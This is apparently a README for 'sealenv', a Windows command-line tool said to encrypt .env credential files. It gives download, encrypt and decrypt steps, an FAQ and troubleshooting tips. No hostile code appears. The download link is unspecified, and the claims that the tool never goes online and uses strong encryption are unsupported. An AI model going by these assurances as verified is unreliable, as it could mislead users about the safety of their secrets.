sealenv secures your sensitive information by encrypting your environment files. It prevents accidental exposure of API keys, passwords, and database credentials. You store your secrets in an encrypted format. Only authorized processes can read them.
Developers often store secrets in plain-text files named .env. These files contain sensitive data. If you share your code or upload it to a cloud server, others might see these secrets. sealenv solves this risk. It turns readable text into a secure code. You lock your secrets away. You unlock them only when your computer runs your application.
- Windows 10 or Windows 11
- A computer with 64-bit architecture
- 50 MB of free disk space
You need the latest version of the program to start.
Visit this page to download sealenv
Navigate to the link above. Look for the section labeled "Assets." Click the file that ends in ".exe" to begin your download. Save the file to your "Downloads" folder.
Follow these steps to prepare your environment.
- Create a new folder on your desktop. Name it "Secrets".
- Move your existing .env file into this "Secrets" folder.
- Move the downloaded sealenv.exe file into the same "Secrets" folder.
- Click the "Start" button on your Windows taskbar.
- Type "cmd" and press Enter. This launches your command terminal.
- Type
cd Desktop\Secretsand press Enter. This selects your new folder.
You mask your data so nobody can read it. In your terminal, type this command:
sealenv encrypt .env
The tool prompts you for a strong password. Type your password carefully. Do not share this password. The program creates a new file called .env.enc. This file holds your encrypted information. You can now delete the original .env file because it contains plain text. Keep the .env.enc file saved.
Your computer needs to read the secrets when you run your projects. Use this command to unlock your data:
sealenv decrypt .env.enc
Enter the same password you chose during the encryption step. The program generates the readable .env file. Use this file to run your applications.
- Do not store your password in another file.
- Use a different password for every project.
- Delete the readable .env file as soon as you finish your task.
- Keep your .env.enc file in a safe location like an encrypted drive or a secure folder.
Does this software send my data to the internet? No. sealenv works entirely on your local computer. It does not connect to the internet. Your secrets stay on your hard drive.
What happens if I lose my password? There is no way to recover your data without the password. Write it down in a physical notebook. Do not lose this notebook. The encryption method uses high-level standards that prevent unauthorized access.
Can I use this for files other than .env? Yes. You can encrypt any text file that contains credentials. Just replace ".env" with the name of your specific file in the commands shown above.
Does this slow down my computer? No. The encryption processes happen in milliseconds. You will not notice a change in your computer speed.
sealenv uses a standard mathematical process to scramble your text. It transforms the letters and numbers in your file into unreadable characters. Your key acts as the lock. Without the correct key, the math cannot reverse the scrambling process. This maintains the integrity and privacy of your login information.
When you install the tool, you control these items:
- sealenv.exe: The core engine that processes your files.
- .env.enc: Your secure, encrypted data store.
- .env: The plain-text file you create when you need to run your software.
If you see an error message, verify these items:
- Check that you typed the file name correctly.
- Ensure you have permissions to write files in your current folder.
- Verify that you typed your password without errors.
- Close other programs that might attempt to read your .env file while you encrypt it.
If the problem persists, delete the .exe file and download a fresh copy from the link provided above.
This project is open-source. You may use it freely. You may share it with others. You may examine how the software works. The code resides on GitHub for full transparency. Security relies on open standards. You can audit the code to verify that it does exactly what it states.
